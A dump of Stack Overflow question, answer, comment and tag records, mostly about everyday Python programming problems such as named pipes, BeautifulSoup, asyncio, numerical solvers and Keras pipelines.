has comment: http://stackoverflow.com/comment/81452881
answer count: 1
has title: Sharing Variable between C and Python
has comment: http://stackoverflow.com/comment/81452813
has comment: http://stackoverflow.com/comment/81452967
has comment: http://stackoverflow.com/comment/81453139
has comment: http://stackoverflow.com/comment/81452385
type: Question
has body: I'm using a named pipe FIFO to communicate between a C ( a loop generating numbers is C) and python (listening to the number generated by C and read them and process them). The code working well except for each generated number in C i need to close the fifo to be able to see it in Python, otherwise it won't be shown in python till a close command is called. I don't know if opening and closing FIFO is a good idea to be able to read them correctly in python code or not. I need to note that the C code generates number every 50 millisecond. This is why I doubt opening and closing is a good idea or not. Here are my codes in C and Python: C as Server: while (1){ t=time_in_ms(); if (t-t0&gt;=50){ t0=t; flag=1; } else{ flag=0; } if (flag==1){ flag=0; printf("%lld %lld\n",count,t); count+=1; fprintf(f,"%lld\r",t); fflush(f); fclose(f); f=fopen("fifo","w"); } } And Code in Python as Client: with open(FIFO) as fifo: print("FIFO opened") while True: data = fifo.read() if len(data) == 0: count=count+1 else: count=0 if count&gt;2000: print("Writer closed") break print data x=x+1
tagged with: pipe
tagged with: python
tagged with: http://stackoverflow.com/tag/c
tagged with: named
has comment: http://stackoverflow.com/comment/81452052
tagged with: fifo
linked to: http://stackoverflow.com/q/1153577

http://stackoverflow.com/comment/81879441
comment on: http://stackoverflow.com/a/47370874
score: 0
type: Comment
type: AnswerComment
has text: It looks like your `create_superuser` function does not include `user_type` in the method signature: `def create_superuser(self, first_name, last_name, email, username, password, home_address, image_path):`

http://stackoverflow.com/comment/81649240
type: AnswerComment
score: 0
has text: not exactly my output should be a dictionary with lists of tuples, please check my update
type: Comment
comment on: http://stackoverflow.com/a/47345156

http://stackoverflow.com/comment/81498598
type: Comment
has text: Virtualenv also handles the python executables, so it's like using npm and nvm together.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47272966

http://stackoverflow.com/q/47336456
has title: BeautifulSoup doesn't seem to parse anything
tagged with: python
has body: I've been trying to learn BeautifulSoup by making myself a proxy scraper and I've encountered a problem. BeautifulSoup seems unable to find anything and when printing what it parses, It shows me this : &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt; &lt;bound 0x7f977c9121d0="" &lt;http.client.httpresponse="" at="" httpresponse.read="" method="" object="" of=""&gt; &amp;gt; &lt;/bound&gt; &lt;/body&gt; &lt;/html&gt; I have tried changing the website I parsed and the parser itself (lxml, html.parser, html5lib) but nothing seems to change, no matter what I do I get the exact same result. Here's my code, can anyone explain what's wrong ? from bs4 import BeautifulSoup import urllib import html5lib class Websites: def __init__(self): self.header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36"} def free_proxy_list(self): print("Connecting to free-proxy-list.net ...") url = "https://free-proxy-list.net" req = urllib.request.Request(url, None, self.header) content = urllib.request.urlopen(req).read soup = BeautifulSoup(str(content), "html5lib") print("Connected. Loading the page ...") print("Print page") print("") print(soup.prettify())
has comment: http://stackoverflow.com/comment/81624611
answer count: 1
has answer: http://stackoverflow.com/a/47336505
accepted answer: http://stackoverflow.com/a/47336505
type: Question
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47248174
has comment: http://stackoverflow.com/comment/81465039
has body: Download miniconda from https://conda.io/miniconda.html. Miniconda is the light version of Anaconda from continuum. It comes with the latest python -v and virtual env, and package installer 'conda'. cd /tmp wget https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh sudo bash ./*.sh When it prompts for install directory use /home/user/.miniconda3 You don't have to do this but placing it in a hidden directory reduces the clutter. Conda handles virtual envs and package installations. To create an environment, conda create -n newEnv python="python version" To start an environment, source activate newEnv. To install packages, conda install "something" Some packages, may not be available on conda so you use pip , within the environment. I use Ubuntu, so I install pip via, sudo apt-get install python-pip. Upgrade pip by, python install --upgrade pip See conda cheatsheet, https://conda.io/docs/_downloads/conda-cheatsheet.pdf
downvote count: 1
answers question: http://stackoverflow.com/q/47248056
type: Answer
score: -1
upvote count: 0

http://stackoverflow.com/a/47348434
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47348164
answers question: http://stackoverflow.com/q/47348164
score: 3
type: Answer
has body: The point of generators is lazy evaluation, so storing all records in a list and yielding the list makes no sense at all. If you want to retain lazy evalution (which is IMHO preferable, specially if you have to work on arbitrary datasets that might get huge), you want to yield each record, ie: def cust_records(result_set) : for row in result_set : yield (row['id'], row, smaller_ids) # then def example(): cursor.execute(&lt;your_sql_query_here&gt;) for record in cust_records(cursor): print(record) else (if you really want to consume as much memory as possible) just male cust_record a plain function: def cust_records(result_set) : records = [] for row in result_set : records.append((row['id'], row, smaller_ids)) return records

http://stackoverflow.com/comment/81668852
score: 0
type: AnswerComment
type: Comment
has text: So you got the expected output ?
comment on: http://stackoverflow.com/a/47357998

data-analysis
tags question: http://stackoverflow.com/q/47286291
tags question: http://stackoverflow.com/q/47350549
tags question: http://stackoverflow.com/q/47305897
tags question: http://stackoverflow.com/q/47302343
tags question: http://stackoverflow.com/q/47348157
tags question: http://stackoverflow.com/q/47372973
type: Tag
tags question: http://stackoverflow.com/q/47377936
tags question: http://stackoverflow.com/q/47312040
tags question: http://stackoverflow.com/q/47302734
tag name: data-analysis

http://stackoverflow.com/a/47260328
upvote count: 3
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47254299
downvote count: 0
has comment: http://stackoverflow.com/comment/81548013
accepted answer of: http://stackoverflow.com/q/47254299
score: 3
type: Answer
has body: The test string that you failed on seems to consist of a's only. That's the worst case and it is actually O(n³) rather than O(n²), because there's another hidden loop in all_same. (At first, I also thought that the slice operator [:] on strings would do a copy, but that's not true.) You need to call all_same, because you distinguish the cases "aa" and "aba" in your main function. But you don't need to do that in a loop, because you will be adding only the same letter over and oer in the first while loop in get_palindrome. A quick fix would therefore be to test whether all characters are the same only once: if Solution.all_same(palindrome): while end &lt; len(s) - 1: if s[end+1] == s[start]: end += 1 palindrome += s[end] else: break Now all_same os run on two- or three-letter strings and will be fast. A better solution wouldn't require all_same at all. Why do you pass "aba" to the get_palindrome when you could just pass "b" and let that function do the rest of the work: elif i &gt;= 2: if char == s[i-1]: candidate = self.get_palindrome(s, start=i-1, end=i) else: candidate = self.get_palindrome(s, start=i, end=i) Overall, the code looks rather untidy with all the breaks and unnecessary case distinctions. And why keep indices and palindrome as separate entities in get_palindrome, which you must keep in sync? Here's a version that is tidier in my opinion: class Solution: def longestPalindrome(self, s): longest = "" for i, _ in enumerate(s): candidate = self.get_palindrome(s, start = i, end = i) if len(candidate) &gt; len(longest): longest = candidate return longest @staticmethod def get_palindrome(s, start, end): while end + 1 &lt; len(s) and s[end+1] == s[start]: end += 1 while start &gt; 0 and end + 1 &lt; len(s) and s[start - 1] == s[end + 1]: start -= 1 end += 1 return s[start:end + 1] Even so, there's room for improvement: For the string "aaaa", the code will still consider "aaaa", "aaa", "aa" and "a". The first while in get_palindrome will go all the way, but with…

http://stackoverflow.com/q/47316835
answer count: 2
type: UnansweredQuestion
has title: How can i print a multi line code with built in variables?
has answer: http://stackoverflow.com/a/47316901
has body: Hey I keep getting this Syntax Error with this code in the last line of the print statement. Did I miss something obvious or am i just doing it wrong. Radar() is supposed to get distances in steps of 18 degrees, which it does. Visual_radar() is then supposed to display them in a half circle. if there's any more information you need let me know. def radar(): measures = {} angle = 18 servo(0) for x in range(9): servo(angle) dist = distance() measures[angle] = dist angle += 18 for number in measures: if number &lt; min_distance: print('Too close!', number) can_move_forward = False def visual_radar(): print """ %f %f %f %f %f %f """ %(measures[90]), %(measures[108]),%(measures[72]),measures[126]),%(measures[54])) radar() visual_radar()
tagged with: python
has answer: http://stackoverflow.com/a/47318143
has comment: http://stackoverflow.com/comment/81584645
type: Question
score: 0

http://stackoverflow.com/comment/100560504
comment on: http://stackoverflow.com/a/47296960
type: Comment
has text: @Jim now I'm second-guessing what I said...you should try setting up multiple virtual environments with pipenv, install different stuff in them that isn't in your global env, setup your kernels, then make notebooks with each kernel and see which packages you can/can't import.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81568486
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47308229
type: QuestionComment
has text: I found a way to it with only little additional programming effort. I create a container class which has foo and bar as attributes. This container class can easily be pickled and reloaded. Thanks for the discussion, that was helpul!

http://stackoverflow.com/comment/81440630
type: Comment
type: QuestionComment
has text: Yes :) absolutely.
comment on: http://stackoverflow.com/q/47244748
score: 0

http://stackoverflow.com/comment/81762179
has text: The `requirements.txt` file is NOT used during deployment for standard env apps - for those deployment only looks at the app directory (and at the `skip_files` config, if any). But such file *can* be used in the standard env during vendoring in 3rd party libs - by passing the file as argument to a single `pip` invocation for installing all its content in an app dir, usually called `lib` - but using it is NOT mandatory (manual `pip` invocations can be used instead just as well). I only mentioned it because you did. Such file is however used in the GAE flex environment (different beast).
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47394014

http://stackoverflow.com/q/47370218
score: 1
has body: I have Input data include 48 or 52( this number is multiple of 4) and 3 outputs. For inputs are similar below: 1.34772 1.35783 1.35937 1.35158 1.33009 And Output -1,108,128 First output always is -1 or 1 and second, third output integer between 80,140. I like to train NN model that calculates all weights, biases,... according to this inputs and outputs. Sample Input and output data AX,AY and AZ are my outputs. Is that possible use Tensorflow for training such data in same time for 3 outputs? Regards,
has comment: http://stackoverflow.com/comment/81710954
has comment: http://stackoverflow.com/comment/81705973
tagged with: tensorflow
has title: Multi Output Neural Network By Tensorflow
type: Question
upvote count: 1
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/47387545
tagged with: machine-learning
tagged with: python
favorite count: 0
downvote count: 0

http://stackoverflow.com/a/47270154
has comment: http://stackoverflow.com/comment/81491143
accepted answer of: http://stackoverflow.com/q/47255578
answers question: http://stackoverflow.com/q/47255578
score: 0
type: AcceptedAnswer
has body: No, it isn't possible. If you want to enter a string, do so, use shut_down('yes'), with the quotes. You might also prefer to write the next def shut_down(): s=input("Shut down? ").lower() if s=='yes': return "Shutting down" else: return "whatever dude I don't even care"
type: Answer

http://stackoverflow.com/q/47273184
tagged with: asynchronous
has body: I have the following problem that my code for api requests is really non deterministic. I use asyncio to make asynchronous requests, because I want to send multiple requests and have big frequency of changes(that's why I am sending 30 the same requests). Sometimes my code executes really quickly about 0.5s but sometimes it stucks after sending for example a half of the requests. Could anyone see some code bugs which can produce the following error? Or such thing is caused by some delays of the server responses? import asyncio from aiohttp import ClientSession async def fetch(url, session): async with session.get(url) as response: data = await response.json() print(data) return await response.read() async def run(r): url = "https://www.bitstamp.net/api/ticker/" tasks = [] async with ClientSession() as session: for i in range(r): task = asyncio.ensure_future(fetch(url.format(i), session)) tasks.append(task) responses = asyncio.gather(*tasks) await responses t1 = time.time() number = 30 loop = asyncio.get_event_loop() future = asyncio.ensure_future(run(number)) loop.run_until_complete(future) t2= time.time() print(t2-t1)
favorite count: 0
type: Question
has title: Python, asyncio, non deterministic results
tagged with: network-programming
answer count: 0
type: UnansweredQuestion
downvote count: 0
tagged with: python
tagged with: request
tagged with: api
upvote count: 1
score: 1

http://stackoverflow.com/comment/81631170
type: Comment
type: QuestionComment
has text: [This question](https://stackoverflow.com/questions/43233552/how-do-i-use-axvfill-with-a-boolean-series) is what you are looking for. You would need two such fill_between functions with each of a different color.
score: 0
comment on: http://stackoverflow.com/q/47339188

http://stackoverflow.com/q/47361113
has title: Numerical Stability of Forward Substitution in Python
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/81675887
has comment: http://stackoverflow.com/comment/81675425
has comment: http://stackoverflow.com/comment/81675357
type: AnsweredQuestion
has body: I am implementing some basic linear equation solvers in Python. I have currently implemented forward and backward substitution for triangular systems of equations (so very straightforward to solve!), but the precision of the solutions becomes very poor even with systems of about 50 equations (50x50 coefficient matrix). The following code performs the forward/backward substitution: FORWARD_SUBSTITUTION = 1 BACKWARD_SUBSTITUTION = 2 def solve_triang_subst(A: np.ndarray, b: np.ndarray, substitution=FORWARD_SUBSTITUTION) -&gt; np.ndarray: """Solves a triangular system via forward or backward substitution. A must be triangular. FORWARD_SUBSTITUTION means A should be lower-triangular, BACKWARD_SUBSTITUTION means A should be upper-triangular. """ rows = len(A) x = np.zeros(rows, dtype=A.dtype) row_sequence = reversed(range(rows)) if substitution == BACKWARD_SUBSTITUTION else range(rows) for row in row_sequence: delta = b[row] - np.dot(A[row], x) cur_x = delta / A[row][row] x[row] = cur_x return x I am using numpy and 64-bit floats. Simple Testing Tool I have set up a simple test suite which generates coefficient matrices and x vectors, computes the b, and then uses forward or backward substitution to recover the x, comparing it to the its known value for validity. The following code performs these checks: import numpy as np import scipy.linalg as sp_la RANDOM_SEED = 1984 np.random.seed(RANDOM_SEED) def check(sol: np.ndarray, x_gt: np.ndarray, description: str) -&gt; None: if not np.allclose(sol, x_gt, rtol=0.1): print("Found inaccurate solution:") print(sol) print("Ground truth (not achieved...):") print(x_gt) raise ValueError("{} did not work!".format(description)) def fuzz_test_solving(): N_ITERATIONS = 100 refine_result = True for mode in [FORWARD_SUBSTITUTION, BACKWARD_SUBSTITUTION]: print("Starting mode {}".format(mode)) for iteration in range(N_ITERATIONS): N = np.random.randint(3, 50) A = np.random.uniform(0.0, 1.0, [N, N]).astype(np.float64) if mode == BACKWARD_SUB…
answer count: 1
tagged with: floating-point
has answer: http://stackoverflow.com/a/47362194
accepted answer: http://stackoverflow.com/a/47362194
upvote count: 6
type: Question
tagged with: numpy
tagged with: numerical-methods
downvote count: 0
score: 6

http://stackoverflow.com/comment/82606496
type: Comment
has text: I just installed via `pip install cx_Freeze --upgrade` (v5.1) and am having the same problem. When I try to run the .exe file it crashes with the same error, `No module named 'codecs'`. Adding `import codec` to the top of my python file had no effect. I'm using Python 3.6.1 on windows with an amd64 cpu.
type: AnswerComment
comment on: http://stackoverflow.com/a/47241539
score: 0

http://stackoverflow.com/comment/81406649
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47226438
has text: Not very clear, you have to pass test and train datasets to the function somehow, but it is not getting those parameters.
score: 0

http://stackoverflow.com/comment/81647934
score: 0
comment on: http://stackoverflow.com/a/47348090
type: Comment
has text: You see, I knew it would be that simple! I could have sworn I tried this.... But anyway, it works. Thanks
type: AnswerComment

http://stackoverflow.com/a/47263406
score: 5
has body: Use apply instead of looping explicitly i.e dfMach['Classification'] = dfMach['Summary'].apply(cl.classify) A couple of simple mistake to be corrected in your code and a bit of improvement i.e dfNew = dfMach.copy() # dfNew = dfMach This will not let you create a new copy so you have to use dfMach.copy() dfNew["Classification"] = "" for index, row in dfMach.iterrows(): # As @jez suggested we need to use loc for assignemnt dfNew.loc[index, 'Classification'] = cl.classify(row['Summary'])
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47263368
has comment: http://stackoverflow.com/comment/81478150
has comment: http://stackoverflow.com/comment/81478211
accepted answer of: http://stackoverflow.com/q/47263368
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/81478040
has comment: http://stackoverflow.com/comment/81477512

http://stackoverflow.com/q/47274240
type: AnsweredQuestion
score: 2
has title: Python attribute name with a variable in it
has comment: http://stackoverflow.com/comment/81499807
has comment: http://stackoverflow.com/comment/81499758
has body: I am making a desktop programm with Qt+Python and currently I am facing a problem calling some attributes with variable in their names self.checkBox_Answer1.clear() self.checkBox_Answer2.clear() self.checkBox_Answer3.clear() self.checkBox_Answer4.clear() Number is the variable, so I want something like self."checkBox_Answer%d" % (A).clear() where "A" is my variable which is counted, but coding this way doesnt work Also tried self.str("checkBox_Answer"+"%d" % (A)).clear() self.checkBox_Answer+"%d" % (A).clear() and nothing works I know I can do something like if A == 1: self.checkBox_Answer1.clear() if A == 2: self.checkBox_Answer2.clear() if A == 3: self.checkBox_Answer3.clear() if A == 4: self.checkBox_Answer4.clear() But isn't there more pythonic way to do this stuff?
has answer: http://stackoverflow.com/a/47274303
possible better answer: http://stackoverflow.com/a/47274303
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47274342
accepted answer: http://stackoverflow.com/a/47274342
tagged with: python-3.x
answer count: 2
upvote count: 2
tagged with: pyqt
downvote count: 0
tagged with: python
linked to: http://stackoverflow.com/q/5082452
tagged with: qt

http://stackoverflow.com/comment/81659778
comment on: http://stackoverflow.com/a/47342526
type: AnswerComment
has text: I have edited the question to add my exact people_to_friends dictionary that's giving me problems
score: 0
type: Comment

argparse
tags question: http://stackoverflow.com/q/47370340
tags question: http://stackoverflow.com/q/47232381
type: Tag
tag name: argparse
tags question: http://stackoverflow.com/q/47313826

http://stackoverflow.com/q/47337571
accepted answer: http://stackoverflow.com/a/47704680
has comment: http://stackoverflow.com/comment/81628649
has comment: http://stackoverflow.com/comment/81631094
type: AnsweredQuestion
tagged with: subprocess
downvote count: 0
tagged with: popen
has body: I'm working on a python 2.7 application that is intended to upload files to a 2007 Sharepoint. The server is running on a OpenSUSE machine. The way I'm doing this right now is to use subprocess' Popen to execute a curl command. However, python raises UnicodeEncodeError when the filename has special characters ('á', 'õ', 'ç', e.g.). I could work around the Unicode Error by forcing a conversion from str to Unicode for the command string, but then the file goes to Sharepoint with a bad formatting name (Manutenção becomes Manuten'c~ao, for instance). The following image describes the implementation of the functions I'm using: functions used Does anyone have a clue on how should I proceed? P.S.: I would prefer to stay with the curl command for the execution of the request, but we're open to other solutions EDIT: Didn't try pycurl, but I'll take a look on it. The Linux dist running the server is 3.11.10. The execution flow is as following: Read the file name and path from a utf-8 database Choose the destination url for file in Sharepoint Build a curl command similar to "curl --ntlm -u usr:pwd --upload-file filelocalPath fileSharepointUrl -k" Use the convert_to_utf_8 function (check attached image) Use Popen to make the request (as in __execute_curl_cmd_and_wait function)
upvote count: 1
score: 1
answer count: 1
has answer: http://stackoverflow.com/a/47704680
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81631248
has title: Using special characters in python Popen call
tagged with: python

http://stackoverflow.com/comment/81700673
has text: I posted the link.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47373827

http://stackoverflow.com/q/47375527
has comment: http://stackoverflow.com/comment/81703415
has comment: http://stackoverflow.com/comment/81703473
tagged with: built-in
answer count: 2
downvote count: 4
has comment: http://stackoverflow.com/comment/81703496
upvote count: 2
has body: I just want to know how can we use divmod() function for some practical application other than just calculating / and %. I want to know if yes, then how can we use divmod function to prove if a number is prime or not. This would be a perfect practical application of divmod()
tagged with: divmod
has answer: http://stackoverflow.com/a/47375583
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47375585
type: UnansweredQuestion
score: -2
tagged with: python
has title: Practical Application of divmod() function in python, or how can we use divmod() other than just calculating / and %?

http://stackoverflow.com/q/47340823
tagged with: python
has comment: http://stackoverflow.com/comment/81633906
has body: I'm learning python and also english. And I have a problem that might be easy, but I can't solve it. I have a folder of .txt's, I was able to extract by regular expression a sequence of 17 numbers of each one.I need to rename each file with the sequence I extracted from .txt import os import re path_txt = (r'C:\Users\usuario\Desktop\files') name_files = os.listdir(path_txt) for TXT in name_files: with open(path_txt + '\\' + TXT, "r") as content: search = re.search(r'(\d{5}\.?\d{4}\.?\d{3}\.?\d{2}\.?\d{2}\-?\d)', content.read()) if search is not None: print(search.group(0)) f = open(os.path.join( "Processes" , search.group(0) + ".txt"), "w") for line in content: print(line) f.write(line) f.close() Its creating .txt's empty in the "Processes" folder, but named the way I need it. ps: using Python 3
score: 0
has answer: http://stackoverflow.com/a/47340886
answer count: 1
has title: Creating empty files when I rename them
type: Question
tagged with: python-3.x
linked to: http://stackoverflow.com/q/2759067
type: UnansweredQuestion

http://stackoverflow.com/q/47258048
type: Question
has comment: http://stackoverflow.com/comment/81466814
has body: When running the following line of code: variables = [at for at in dir(prev.m) if (not at.startswith('__') and (getattr(prev.m, at)==None or not callable(getattr(prev.m, at))))] I get the following error: AttributeError: 'UserClientDocument' object has no attribute 'profile' which from the python documentation seems to mean that it's not a member of the object. However: 1. Printing dir(prev.m) in the line above shows 'profile' as one of the members 2. The line itself seems to be checking that all attributes checked should be in dir(prev.m) My only guess is that dir() must give 'profile' as one of the attributes, when it is not. Is that correct? Any other options? The python documentation making me suspect that dir() may not be 100% exact: Note Because dir() is supplied primarily as a convenience for use at an interactive prompt, it tries to supply an interesting set of names more than it tries to supply a rigorously or consistently defined set of names, and its detailed behavior may change across releases. For example, metaclass attributes are not in the result list when the argument is a class.
type: UnansweredQuestion
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python
tagged with: class
has title: Can python's dir() return attributes that are not in the object?
score: 1
has answer: http://stackoverflow.com/a/47258149
has comment: http://stackoverflow.com/comment/81466808
favorite count: 0

http://stackoverflow.com/comment/81472075
has text: `Address` contains `privc` and `pubc`, what integer should it be converted to?
comment on: http://stackoverflow.com/q/47259517
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47301262
tagged with: bokeh
has comment: http://stackoverflow.com/comment/81553394
has answer: http://stackoverflow.com/a/47303654
has body: i have a dataframe suite_name fail Pass Report_datetime 0 VOLTE-VOLTE 5 7 2017-11-14 00:00:00 1 VOLTE-VOLTE 5 7 2017-11-11 00:00:00 2 VOLTE-VOLTE 5 7 2017-11-10 00:00:00 3 VOLTE-VOLTE 5 7 2017-11-09 00:00:00 4 VOLTE-VOLTE 5 7 2017-11-14 00:00:00 5 VOLTE-VOLTE 5 7 2017-11-14 00:00:00 i have grouped it g1=df.groupby( [ 'Report_datetime'] ).sum() print g1 Output : Report_datetime fail Pass 2017-11-14 00:00:00 5 7 2017-11-11 00:00:00 5 7 2017-11-10 00:00:00 5 7 2017-11-10 00:00:00 5 7 ** How to plot this data in Bokeh? Bar.charts are not supported in latest version of Bokeh , so any example with Vbar and Figure would be great
favorite count: 0
type: Question
tagged with: python
has title: how to plot a "group by" dataframe in Bokeh as Bar chart
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81553511
tagged with: pandas
upvote count: 3
accepted answer: http://stackoverflow.com/a/47303654
answer count: 1
downvote count: 0

http://stackoverflow.com/q/47381869
score: 0
tagged with: odoo
tagged with: odoo-8
has title: Wizard to create stock.picking from another model - Odoo v8
type: Question
has body: I have this code for the wizard: class generate_stock_picking(models.TransientModel): _name = 'generate.stock.picking' isbns = fields.One2many('order.lines', 'order_id', 'ISBN') production_order = fields.Many2one('bsi.print.order', 'Print Order') company_id = fields.Many2one('res.company', 'Company',default='_default_company') location_id = fields.Many2one('stock.location', string="Source Location") location_dest_id = fields.Many2one('stock.location', string="Destination Location") @api.model def default_get(self, fields): res = super(generate_stock_picking, self).default_get(fields) isbns = [] if self.env.context.has_key('active_id'): production_order = self.env.context['active_id'] order = self.env['bsi.print.order'].browse(production_order) sp_types = self.env['stock.picking.type'].search([ ('code', '=', 'incoming') ]) if len(sp_types) &gt; 0: for line in order.order_lines: if line.remaining_qty &gt; 0: val = { #'origin': line.name, 'isbn':line.isbn.id, 'qty': line.remaining_qty, 'picking_type_id': sp_types[0].id, } isbns.append([0,0,val]) res.update({'isbns':isbns,'production_order':production_order}) return res @api.multi def generate(self): if self.isbns: order_lines = [] sp_types = self.env['stock.picking.type'].search([ ('code', '=', 'incoming') ]) print_order = self.env['stock.picking'].create({ 'origin': self.name.id, 'state': 'draft', 'stock_picking_lines': self.production_order.id, 'picking_type_id': sp_types[0].id, }) for line in self.isbns: order_lines.append(self.env['bsi.print.order.lines'].create({ 'print_order':print_order.id, 'isbn':line.isbn.id, 'qty':line.qty})) prod_isbn = self.env['bsi.print.order.lines'].search([('production_order','=',self.production_order.id), ('isbn','=',line.isbn.id)]) prod_isbn.consumed_qty = line.qty print_order.write({'order_lines':[(6,0,map(lambda x:x.id,order_lines))]}) tree_view_id = self.env.ref('stock.vpicktree').id form_view_id = self.env.ref('stock.view_picking_form').id self.production_order.state = 'delivered'…
answer count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81723766
has comment: http://stackoverflow.com/comment/81724475
has comment: http://stackoverflow.com/comment/81723797

http://stackoverflow.com/a/47304212
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47303876
answers question: http://stackoverflow.com/q/47303876
has comment: http://stackoverflow.com/comment/81559143
score: 1
type: Answer
has body: If you want to store the keyword arguments into variables, you should try: def foo(**var2): s_id = var2.get('source_id') limit = var2.get('limit') research_id = var2.get('research_id') print('source_id = ', s_id) print('limit = ', limit) print('research_id = ', research_id) foo(source_id=3, limit=200) prints source_id = 3 limit = 200 research_id = None and foo(research_id=1) prints source_id = None limit = None research_id = 1
has comment: http://stackoverflow.com/comment/81559317
has comment: http://stackoverflow.com/comment/81559456
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/81665325
type: Comment
comment on: http://stackoverflow.com/q/47355979
type: QuestionComment
has text: strangely, the output file (-out filename) from blast is empty when running from subprocess. There's something else there.
score: 0

http://stackoverflow.com/comment/81667687
has text: That worked, including with the TimeStampedModel, although of course I had to make a separate but identically structured metaclass using TSM instead of the Polymorphic. Interestingly, the only thing that mattered was making it py3 compatible, ie the "metaclass=IntermediaryMeta" instead of the py2 style.
type: AnswerComment
comment on: http://stackoverflow.com/a/47330563
score: 0
type: Comment

http://stackoverflow.com/a/47323509
score: -1
answers question: http://stackoverflow.com/q/47323420
has comment: http://stackoverflow.com/comment/81597697
has body: Create two lists listkf and listlookup by reading the files listkf=[] with open("keyfile", 'r') as kf: for line in kf: listkf.append(line.strip()) # adding key to list after stripping listlookup=[] with open("Lookupfile", 'r') as lf: for line in lf: listlookup.append(line) Assuming you need line by line match for i in range(len(listlookup)): if listkf[i] in listlookup[i]: print("key exists") else: print("key does not exist") If key in keyfile is to be looked up in entire Lookupfile for x in listkf: for y in listlookup: if x in str(y): print("key ", x, " exists") break
upvote count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/81598315
type: Answer

http://stackoverflow.com/comment/81511415
comment on: http://stackoverflow.com/q/47280202
type: Comment
type: QuestionComment
score: 0
has text: or i've not used the proper subclass and thta's why nothing is working ... *facepalm*

http://stackoverflow.com/comment/81429872
has text: You could use `while False:` during development to temporarily eliminate a block of code. I find it easier to just comment it out.
comment on: http://stackoverflow.com/q/47239795
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47283998
type: Answer
has body: savefig(fname, dpi=None, facecolor='w', edgecolor='w', orientation='portrait', papertype=None, format=None, transparent=False, bbox_inches=None, pad_inches=0.1, frameon=None) you can use dpi=300 or other values
score: 2
answers question: http://stackoverflow.com/q/47283912
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81586823
score: 0
type: Comment
type: QuestionComment
has text: what is Time, Weather, News; you understand what verifiable means.
comment on: http://stackoverflow.com/q/47297742

http://stackoverflow.com/comment/81555715
has text: Some documentation would help solidify your points from "try removing" to "remove" and so on. You are correct---the OP should have a binary kernel of `uint8` type.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47298046

http://stackoverflow.com/a/47265743
has comment: http://stackoverflow.com/comment/81492759
has comment: http://stackoverflow.com/comment/81487729
type: Answer
has comment: http://stackoverflow.com/comment/81483002
has comment: http://stackoverflow.com/comment/81485142
has comment: http://stackoverflow.com/comment/81483315
has comment: http://stackoverflow.com/comment/81491592
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47265651
has comment: http://stackoverflow.com/comment/81483860
has comment: http://stackoverflow.com/comment/81493035
has comment: http://stackoverflow.com/comment/81483662
answers question: http://stackoverflow.com/q/47265651
has body: Make sure the post in python uses the correct content-type and verify on the serverside php if $_FILES has an entry. (i.e. print_r($_FILES) ) should return your file, you won't find it in $_POST.
has comment: http://stackoverflow.com/comment/81493328
has comment: http://stackoverflow.com/comment/81483221
has comment: http://stackoverflow.com/comment/81483066

http://stackoverflow.com/q/47233402
has answer: http://stackoverflow.com/a/47233455
tagged with: multidimensional-array
upvote count: 2
has answer: http://stackoverflow.com/a/47233431
tagged with: arrays
tagged with: python
has title: Match array values with array values in multi-dimensional array
tagged with: arraylist
score: 2
type: AnsweredQuestion
has body: I have 2 arrays: [1, 2, 3, 4, 5] [[1, 2, 3], [4, 5, 6], [7, 8, 9]] Is there a way I can find the number of sub-array in the second array which contains the values of the first array using Python? For the above, it would be 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81417621
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47233455
accepted answer: http://stackoverflow.com/a/47233431
answer count: 2

http://stackoverflow.com/q/47276761
tagged with: scikit-learn
tagged with: keras
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has body: I'd like to create a sklearn pipeline using the keras sklearn wrapper. I am trying a sentiment classification task using the aclimdb, aka large movie dataset, which I have converted to a pandas dataframe of two columns, one for the review (string), and one for the label (integer). &gt; df.head(4) review sentiment 0 "Lifeforce" is a truly bizarre adaptation of t... 1 1 I ordered this movie on the Internet as it is ... 0 2 he was my hero for all time until he went alon... 0 3 This is a 'sleeper'. It defines Nicholas Cage.... 1 I have a pipeline that tokenizes the review using CountVectorizer, applies a tfidf transformation using TfidfTransformer, and then fits a binary classification model using KerasClassifier and the model function below: X_train = df.loc[1:25000, "review"] y_train = df.loc[1:25000, 'sentiment'].values X_test = df.loc[25000:, "review"] y_test = df.loc[25000:, 'sentiment'].values np.random.seed(123) # for reproducibility def model(): model = models.Sequential([ layers.Dense(16, input_shape = (10**4,), activation='relu'), layers.Dropout(0.5), layers.Dense(16, activation='relu'), layers.Dropout(0.5), layers.Dense(1, activation='sigmoid') ]) model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy']) return model early_stopping = 